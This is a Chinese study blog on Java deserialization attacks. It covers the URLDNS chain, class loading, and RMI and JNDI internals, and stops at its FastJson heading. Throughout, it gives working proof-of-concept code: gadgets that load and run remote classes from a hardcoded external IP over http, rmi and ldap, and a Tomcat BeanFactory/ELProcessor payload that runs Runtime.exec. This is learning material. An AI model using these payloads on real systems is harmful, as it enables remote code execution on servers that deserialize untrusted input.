Java反序列化笔记

文章目录

  • 前言
  • 为什么会产生安全问题?
    • 可能的形式
    • 满足条件
  • 简单链分析(URLDNS)
  • 动态代理
    • 动态代理简单例子:
  • 类加载机制
    • 类加载与反序列化
  • JNDI
  • RMI
    • RMI远程服务创建流程
  • JNDI RMI注入
  • JNDI LDAP注入
  • JNDI注入高版本绕过
  • FastJson反序列化漏洞
    • JdbcRowSetImpl链(出网)
    • BasicDataSource链(不出网)
    • FastJson <=1.2.47绕过
  • 总结


前言

在平时渗透测试中能够看到很多的Java反序列化类的漏洞,诸如Fastjson、log4j、eureka xstream deserialization等等,但是作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。

为什么会产生安全问题?

服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  1. 入口类readObject直接调用危险方法。
  2. 入口类参数包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又有其它危险方法的类,readObject时调用。

满足条件

要实现一个反序列化的攻击,要满足的条件如下:

  1. 共同条件,继承Serizlizable。
  2. 入口类source,重写了readObject方法,类中调用了常见的一些函数,且函数的参数类型是宽泛的,最好是jdk本身自带的。
  3. 调用链,不停的调用相同的类型。
  4. 执行类sink:即需要有最终执行代码的代码的点

简单链分析(URLDNS)

首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }


前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。

其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }


跳到URLStreamHandler方法中的hashCode()方法中,

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }


函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。

所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。

关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。

Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。

类名 作用
Class类 表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息
Field类 表示一个类的成员变量,可以通过它来读取和修改对象的属性值
Method类 表示一个类的方法,可以通过它来调用对象的方法

关于反射的一些简单使用如下:

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        Person person=new Person();
        Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作

        //实例化对象
        Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);
        Person person1=constructor.newInstance("aiwin",21);
        System.out.println(person1);

        //获取类属性
        Field field=c.getDeclaredField("age"); //用于获取private私有属性
        field.setAccessible(true);
        field.set(person1,22);
        System.out.println(person1);

        //调用类里面的方法
        Method method=c.getMethod("changeAge",int.class);
        method.invoke(person1,23); //触发方法
        System.out.println(person1);
    }
}


URLDNS链触发例子:

序列化类:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static  void serialize(Object obj) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
    }

    public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//        Person person=new Person("aiwin",21);
        HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
        URL url=new URL("http://kcovilzouv.dnstunnel.run");
//        hashMap.put(url,1);
//        serialize(person);
        Class<? extends URL> c = url.getClass();
        Field filedhashCode = c.getDeclaredField("hashCode");
        filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制
        filedhashCode.set(url,222); //第一次查询的时候让他不等于-1
        hashMap.put(url,222);
        filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashMap);
    }

}


反序列化类:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=objectInputStream.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println(unserizlize("ser.bin"));
    }
}


可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
Java反序列化笔记_第1张图片

动态代理

  1. Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。

  2. Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。

  3. Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。

  4. 在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。

  5. 在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。

  6. 使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能

动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。

动态代理简单例子:

Iuser接口:

package 动态代理;

public interface IUser {
    void show();
}

Iuser实现类:

package 动态代理;

public class UserImpl implements IUser{
    public UserImpl(){

    }
    @Override
    public void show() {
        System.out.println("调用了show方法");
    }

}

userproxy类:

package 动态代理;

public class UserProxy implements IUser {
    private UserImpl user;
    public void setUser(UserImpl user){
        this.user=user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("代理展示");
    }

}

package 动态代理;

import org.omg.CORBA.portable.InvokeHandler;

import java.lang.reflect.Proxy;

public class main {
    public static void main(String[] args){
        UserImpl user=new UserImpl();
        //静态调用
//        UserProxy userProxy=new UserProxy();
//        userProxy.setUser(user);
//        userProxy.show();
        
        //动态调用,需要的参数为类加载器、接口、触发控制器
        IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));
        userProxy.show();
    }
}


invokeHandler类:

package 动态代理;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser iUser;

    public UserInvocationHandler(){

    }
    public UserInvocationHandler(IUser iUser){
        this.iUser=iUser;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了"+method.getName());
        method.invoke(iUser,args);
        return null;
    }
}

类加载机制

Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。

  1. 加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:

    1. 查找并加载类的二进制数据。这可以通过本地文件系统、网络等途径来实现。
    2. 创建一个代表该类的Class对象,并将其存储在方法区(或称为永久代/元空间)中。
  2. 连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:

    1. 验证(Verification):确保被加载的类的字节码是有效、安全合规的
    2. 准备(Preparation):为类的静态变量分配内存空间,并设置默认初始值
    3. 解析(Resolution):将类、接口、方法等符号引用解析为直接引用,即具体的内存地址
  3. 初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。

需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:

  1. 检查该类是否已经被加载过,如果是则直接返回已加载的类。
  2. 如果类尚未被加载,那么将加载请求委托给父类加载器去加载。
  3. 如果父类加载器存在,并且父类加载器能够成功加载该类,则返回父类加载器的加载结果。
  4. 如果父类加载器不存在或者父类加载器无法加载该类,那么由当前类加载器加载该类。如果当前类加载器能够成功加载该类,则返回加载结果。
  5. 如果当前类加载器无法加载该类,那么抛出ClassNotFoundException异常。

这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder

类加载与反序列化

上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子

  1. 通过URLClassLoader进行任意类的加载,比如使用jar、http、file协议等

编写一个Java的命令执行类,编译成class和jar形式

import java.io.IOException;
public class Test {
    public static void rce(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}


public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可
        String cmd="calc";
        Class<?> c=urlClassLoader.loadClass("Test");
        c.getMethod("rce",String.class).invoke(null,cmd);


  1. ClassLoader.defineClass字节码加载任意私有类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defindClassMethod.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);
        defineclass.newInstance();
	}

  1. Unsafe.defineClass字节码加载不能直接生成的public类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class c = Unsafe.class;
        Field theUafeField=c.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);
        c2.newInstance();
    }

Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。

public final class Unsafe {
    private static final Unsafe theUnsafe;
    public static final int INVALID_FIELD_OFFSET = -1;
    public static final int ARRAY_BOOLEAN_BASE_OFFSET;
    public static final int ARRAY_BYTE_BASE_OFFSET;
    public static final int ARRAY_SHORT_BASE_OFFSET;
    public static final int ARRAY_CHAR_BASE_OFFSET;
    public static final int ARRAY_INT_BASE_OFFSET;
    public static final int ARRAY_LONG_BASE_OFFSET;
    public static final int ARRAY_FLOAT_BASE_OFFSET;
    public static final int ARRAY_DOUBLE_BASE_OFFSET;
    public static final int ARRAY_OBJECT_BASE_OFFSET;
    public static final int ARRAY_BOOLEAN_INDEX_SCALE;
    public static final int ARRAY_BYTE_INDEX_SCALE;
    public static final int ARRAY_SHORT_INDEX_SCALE;
    public static final int ARRAY_CHAR_INDEX_SCALE;
    public static final int ARRAY_INT_INDEX_SCALE;
    public static final int ARRAY_LONG_INDEX_SCALE;
    public static final int ARRAY_FLOAT_INDEX_SCALE;
    public static final int ARRAY_DOUBLE_INDEX_SCALE;
    public static final int ARRAY_OBJECT_INDEX_SCALE;
    public static final int ADDRESS_SIZE;

    private static native void registerNatives();

    private Unsafe() {
    }

    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

JNDI

  1. JDNI的全称是Java Directory and Naming Interface(Java目录和命名接口),它是Java平台提供的一种用于管理和查询分布式命名和目录服务的API。JDNI提供了一套标准的Java API,可以用于在Java应用程序中访问不同类型的目录和命名服务,如LDAP(轻量级目录访问协议)服务器、企业命名和目录服务(包括CORBA命名服务、NIS和Active Directory等)以及其他自定义实现的命名和目录服务。通过JDNI,开发人员可以在Java应用程序中使用统一的方式来访问这些分布式的命名和目录服务

  2. 一般来说,在Java SE平台中,要使用JNDI,必须要有JNDI类和一个或多个服务提供者,JDK默认包括以下命名/目录服务的提供者:

    1. 轻量级目录访问协议(LDAP)
    2. 通用对象请求代理架构(CORBA)通用对象服务(COS)名称服务
    3. Java远程方法调用(RMI)注册表
    4. 域名服务(DNS)

RMI

  1. RMI是Java的一种远程方法的调用的机制,用于实现远程通信和分布式计算,允许在网络上不同的JVM中相互调用方法,可以让远程服务区实现具体的Java方法并且提供接口,客户端提供相应参数即可调用远程方法。RMI协议的通信协议使用的是JRMP,要求服务端和客户端偶读需要Java编写的,并且传输时通过序列化进行编码传输。

  2. 既然是序列化进行编码传输的,那么调用远程方法时,响应的必须必须是实现了java.io.Serializable 接口的,并且在远程对象的方法中需要实现java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。

  3. 此处RMI要进行远程调用,涉及了一个远程对象Stub,Stub对象上包含了远程对象的端口,地址等各种信息,并实现了网络通信的细节,Java提供了一个RMIRegistry来注册一个远程对象,默认在1099端口中,通过这个方法可以创建一个Stub对象来对远程对象进行代理。

stub在调用远程对象时提供的功能如下:

  1. Stub中为客户端提供了Server端远程对象的通信地址和端口以及底层的网络操作
  2. 客户端通过调用Stub中的方法,Stub连接到Server端监听的端口并提交参数,并记录好Server端的执行结果,最后Stub将结果返回到客户端完成了远程调用。

RMI远程服务创建流程

我们来对RMI的创建进行调试,大致查看下它远程服务的创建流程是什么样子的。

  1. 首先它进入了UnicastRemoteObject的exportObject方法中,传入了继承于 UnicastRemoteObject的对象以及新创建了一个UnicastServerRef类,参数为port=0,UnicastServerRef可以看作就是一个服务端的引用对象。

file

  1. 进入UnicastServerRef中,新创建了一个LiveRef类,传入的依旧是参数0,并对一些参数进行了默认赋值。

Java反序列化笔记_第2张图片

  1. LiveRef中创建了一个ObjID,这个就是一个ID号,可以看作是对象的标识号,不重要。再往下走,可以看到LiveRef中创建了一个TCPEndpoint,用于进行网络传输即TCP连接,通过getLocalEndpoint()方法里面的resampleLocalHost()返回当前计算机的监听的IP地址。

Java反序列化笔记_第3张图片

file

  1. 然后进去了LiveRef的方法中对id,是否本地等进行了赋值。

file

  1. 经过一系列返回后,再进入了exportObject方法中,将sref即我们刚才创建的LiveRef对象赋值给了ref,进入了UnicastServerRef即服务端的exportObject方法中。

Java反序列化笔记_第4张图片

  1. 在UnicastServerRef的exportObject方法中,通过createProxy()创建了一个代理,在里面判断是否存在对象的stub,若存在则直接创建stub,不存在则获取远程接口并创建一个远程对象的操作类,再调用run方法将代理对象实例化。

Java反序列化笔记_第5张图片

  1. 创建了一个Target类后,进入了TCPTransport类中的exportObject()方法通过listen()开启了监听,listen方法中调用newServerSocket()方法开启了一个Socket监听,此时的端口还是0,通过createServerSocket就会分配一个随机的端口,返回一个Socket的对象,通过start方法开启监听,到目前为止已经将远程对象发布了出去,这里涉及一个问题就是客户端该如何找到服务器的端口号?

Java反序列化笔记_第6张图片

  1. 这里客户端需要找到服务端发布对象的端口,需要进行一个记录,它会把它put进去两个Map中,把它保存到了一个静态的表中,最后就完成了远程服务的创建。
    Java反序列化笔记_第7张图片

整体的发布思路就是创建了UnicastServerRef服务端的引用和UnicastRef客户端的引用,两者都通过LiveRef即真正处理网络请求的引用来进行通信,LiveRef通过创建TCPEndPoint获取host和port进行监听,通过里面的TCPtransport处理真正的网络请求。

JNDI RMI注入

  1. JNDI注入的本质其实还是类加载的问题,通过Reference类来重绑定一个远程对象,当客户端通过lookup()接口来查找远程对象的时,导致了远程的恶意类别加载执行,这里需要注意的是在某些JDK版本中如8u113这些Java提升了JNDI的安全性,限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,默认不允许从远程的Codebase加载Reference的工厂类,需要com.sun.jndi.rmi.object.trustURLCodebase设置为true。

Java反序列化笔记_第8张图片

下面我们简单来写个例子并分析下执行的流程:

  1. 首先编写一个RMIServer服务器,RemoteObjImpl实现Remote接口并继承UnicastRemoteObject,并通过createRegistry注册一个stub对象:
package RMIjndi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObjImpl remoteObj=new RemoteObjImpl();
        Registry registry= LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj",remoteObj);
    }
}

  1. 编写一个RMI客户端,创建上下文,通过lookup()接口来调用远程对象
package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext initialContext=new InitialContext();
        IRemoteObj iRemoteObj= (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(iRemoteObj.sayHello("Hi"));
    }
}

  1. 再创建一个类,通过reference类来引用一个对象并进行重绑定。
package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        Reference reference=new Reference("Test","Test","http://120.79.29.170:7777/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
//        initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
    }
}


首先看一下Reference类,需要的参数是一个类命,工厂对象和工厂对象URL的定位,
Java反序列化笔记_第9张图片

在进行lookup的时,调用的是原生的lookup方法进行查找
file

直至走到下面,会进行一个对象的解码,在解码的逻辑中,一开始的使用的是ReferenceWrapper_stub接口,因为ReferenceWrapper_stub属于RemoteReference,调用getReference()方法获取到远程的对象类名,并将ReferenceWrapper_stub变回Reference类,直至进入getObjectInstance()才开始执行代码。这里可以看到进行了trustURLcodebase的判断,如果它不会true会抛出异常,不会走到代码执行的方法中。
Java反序列化笔记_第10张图片

创建一个factory工厂类对象,并进行初始化。
Java反序列化笔记_第11张图片

获取工厂对象的ClassName()后,进入到了getObjectFactoryFromReference()方法,通过factory类将Reference引用实例化为一个远程的对象。
Java反序列化笔记_第12张图片

在getObjectFactoryFromReference()方法中进行了loadClass开始了类加载。
Java反序列化笔记_第13张图片

使用URLClassLoader方法,从远程的URLcodebase中初始化加载远程对象类,并且返回。
Java反序列化笔记_第14张图片

最后通过newInstance()将远程加载的对象实例化,导致远程恶意代码的执行,这里的CodeBase的值其实就是返回的FactoryLocation。
Java反序列化笔记_第15张图片

调用链其实就是:
RegistryContext.decodeObject()->NamingManager.getObjectInstance()->factory.getObjectInstance()

JNDI LDAP注入

  1. LDAP是一种用于访问和管理分布式目录服务的协议,它提供了一种标准化的方法来组织、查询和操作目录信息。它在企业和网络环境中广泛应用,可用于实现诸如用户认证、权限管理和资源访问控制等功能。

  2. JNDI除了可以对接LDAP服务,还可以对接LDAP服务,LDAP也能够返回一个JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址,不过使用LDAP服务的Reference远程加载Factory类中不受到com.sun.jndi.rmi.object.trustURLCodebase要为true的属性限制。不过在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false进行了修复。

使用简单例子分析与RMI的不同:

客户端使用ldap寻找恶意LDAP对象:

package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILADP {

    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://120.79.29.170:1389/Test");
    }

}

在服务器上开启LDAP服务器,并指向存放着Test弹计算器恶意对象的Test.class,计算器弹出成功
file

调试一下代码,分析下关键的原因:

  1. 先从LDAP路径的URL中解析对象,使用LdapCtx的类来调用lookup接口,参数为要获取的对象Test
    Java反序列化笔记_第16张图片

  2. 这里通过lookup()接口再进入了一个for循环,然后进入到了ComponentContext中的p_lookup()方法
    Java反序列化笔记_第17张图片

  3. 通过p_resolveIntermediate得到var4为2,进入到了case为2中,再进入了LdapCtx类的c_lookup()方法中
    Java反序列化笔记_第18张图片

  4. 创建了SearchControls类,设置了搜索的范围取值,设置了返回所有输学,以及允许返回Java对象,通过doSearchOnce()方法寻找Test对象,寻得DN为Test,attrs属性有又工程类,codebase等等,随后把entries中的属性取出来,赋值给了一个LDAPEntry对象,把里面的attrs属性给了var4,进入了decodeObject方法。
    Java反序列化笔记_第19张图片
    Java反序列化笔记_第20张图片

  5. 再往下走会来到一个 DirectoryManager.getObjectInstance()的方法中,与之前NamingManager不同的类。
    Java反序列化笔记_第21张图片

  6. 随后的步骤与RMI基本一致,进入工程类获取Reference的方法中,再从codebase中加载Test类,使用URLClassLoader远程加载类后,使用Class.forName()动态加载一个类,通过newInstance()方法进行实例化,从而导致了恶意类被执行。
    Java反序列化笔记_第22张图片
    Java反序列化笔记_第23张图片

JNDI注入高版本绕过

  1. 像前面说的,利用RMI、LDAP进行JNDI注入等,都逐渐在被修复,像RMI通过加了trustURLCodebase是布尔值来限制直接从codebase中动态加载类,LDAP在高版本中也加了限制,只不过加的比RMI晚,LDAP在loadClass()和后面进行loadClass()类加载时,增加了if语句判断TRUST_URL_CODE_BASE的值是否为true,不为true则直接返回了空值,因为无法实现LDAP远程注入。

Java反序列化笔记_第24张图片

  1. 那么有没有一些其它的利用方式,或者通过其它的链子能够直接绕过TRUST_URL_CODE_BASE的判断,直接实现恶意类的加载呢?从前面的代码分析可以看到,无论是RMI或者LDAP,当factory获取到不为空的时,都会进入factory.getObjectInstance()方法中,因此可以从重写了factory的getObjectInstance()的类中寻找。

  2. 找到比较适合的方法有Tomcat中的BeanFactory类,它重写了getObjectInstance()方法,它的绕过直接将漏洞的利用面从仅仅只能从ObjectFactory实现类的getObjectInstance方法利用扩展为method.invoke()的使用,可以调用任意类的任意方法的机会,不过对任意类有一定的限制,至于为什么这样,从下方调试即可看到:

    1. 该类必须包含public无参构造方法
    2. 调用的方法必须是public方法
    3. 调用的方法只有一个参数并且参数类型为String类型

Java反序列化笔记_第25张图片

像以上符合条件的常用利用类,一般有:javax.el.ELProcessor#eval执行命令(Tomcat 8之后引入),groovy.lang.GroovyShell#evaluate(java.lang.String)通过Grooxy执行命令等。

  1. Tomcat9以上已经对这种利用进行了一定的修复, 我们可以搭建Tomcat8的环境,通过javax.el.ELProcessor方式来达到RCE,来调试一下看下整个流程是怎么走的。

首先直接通过springboot的方法引入tomcat依赖以及EL表达式:

        <dependency>
            <groupId>org.apache.tomcatgroupId>
            <artifactId>tomcat-el-apiartifactId>
            <version>8.5.35version>
        dependency>

        <dependency>
            <groupId>org.springframework.bootgroupId>
            <artifactId>spring-boot-starter-tomcatartifactId>
            <version>1.5.18.RELEASEversion>
            <scope>compilescope>
        dependency>

    <properties>
        <java.version>1.8java.version>
        <tomcat.version>8.5.35tomcat.version>
    properties>

正常启动一个RMI服务,然后进行重绑定操作。

package com.example.demo;

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
    }
}

首先前面与普通的RMI注入流程没什么两样,都是经过原生registry的lookup()接口后,进入了decodeObject()方法对对象进行解码,随后进入了NamingManger.getObjectInstance()方法中

Java反序列化笔记_第26张图片

通过getObjectFactoryReference()从重绑定的factory中获取到Tomcat的BeanFactory方法,随后进入到了BeanFactory的重写方法中。
Java反序列化笔记_第27张图片

传入的方法参数具体如下:
Java反序列化笔记_第28张图片

进入到方法中后,首先将Java.el.ELProcesser赋值给了beanClassName,然后从当前线程获取了一个上下文的类加载器,通过类加载器加载了Javax.el.ELProcess赋值给了beanClass,

Java反序列化笔记_第29张图片

经过Introspector.getBeanInfo获取Java.el.ELProcesser的属性名称、类型、读写方法等赋值给了pda,实例化了Java.el.ELProcesser对象给了bean,从Reference中获取到forceString的值为x=eval赋值给了value,然后以,分割value的值,赋值给了arr数组,遍历arr数组,通过索引进行分割,将x作为key,javax.el.ELProcessor.eval(java.lang.String)为值放入HashMap中。

Java反序列化笔记_第30张图片

然后经过不断的遍历addrs的内容,将Runtime.getRuntime().exec(‘calc’)取出赋值给了value,再创建了一个对象数组,从HashMap寄forced中取出x的值即javax.el.ELProcessor.eval(java.lang.String)赋值给了method方法,再传入value以及实例化ELProcessor类,通过method.invoke()触发方法,造成恶意类的执行。

Java反序列化笔记_第31张图片

Java反序列化笔记_第32张图片

FastJson反序列化漏洞

